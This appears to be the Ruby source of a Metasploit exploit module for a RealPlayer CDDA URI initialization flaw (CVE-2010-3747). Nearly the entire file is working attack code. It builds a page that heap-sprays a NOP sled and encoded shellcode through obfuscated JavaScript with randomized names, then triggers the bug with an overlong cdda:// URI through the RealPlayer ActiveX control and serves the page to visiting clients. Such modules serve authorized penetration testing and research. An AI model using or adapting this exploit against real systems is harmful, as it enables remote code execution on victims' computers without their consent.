112 lines
3.3 KiB
Ruby
112 lines
3.3 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
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'Description' => %q{
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This module exploits a initialization flaw within RealPlayer 11/11.1 and
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RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
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initialization failure. However, this failure is improperly handled and
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uninitialized memory executed.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bannedit',
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'sinn3r'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-3747' ],
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[ 'OSVDB', '68673'],
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[ 'BID', '44144' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
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[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ],
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[ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 15 2010',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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mytarget = target
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# the ret slide gets executed via call [esi+45b]
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retslide = [mytarget.ret].pack('V') * 750
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cdda_uri = "cdda://" + retslide
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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nops = make_nops(8)
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nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
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# Randomize Javascript variables
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var_blocks = rand_text_alpha(rand(6)+3)
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var_shellcode = rand_text_alpha(rand(6)+3)
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var_index = rand_text_alpha(rand(6)+3)
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var_nopsled = rand_text_alpha(rand(6)+3)
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spray_func = rand_text_alpha(rand(6)+3)
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obj_id = rand_text_alpha(rand(6)+3)
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html = <<-EOS
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<html>
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<head>
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<script>
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function #{spray_func}() {
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#{var_blocks} = new Array();
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var #{var_shellcode} = unescape("#{shellcode}");
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var #{var_nopsled} = unescape("#{nop_sled}");
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do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
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for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
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#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
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}
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#{spray_func}();
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</script>
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</head>
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<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
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<param name="CONTROLS" value="ControlPanel">
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<param name="src" value="#{cdda_uri}">
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</object>
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<script language="VBScript">
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#{obj_id}.DoPlay
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</script>
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</html>
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EOS
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print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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end
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end
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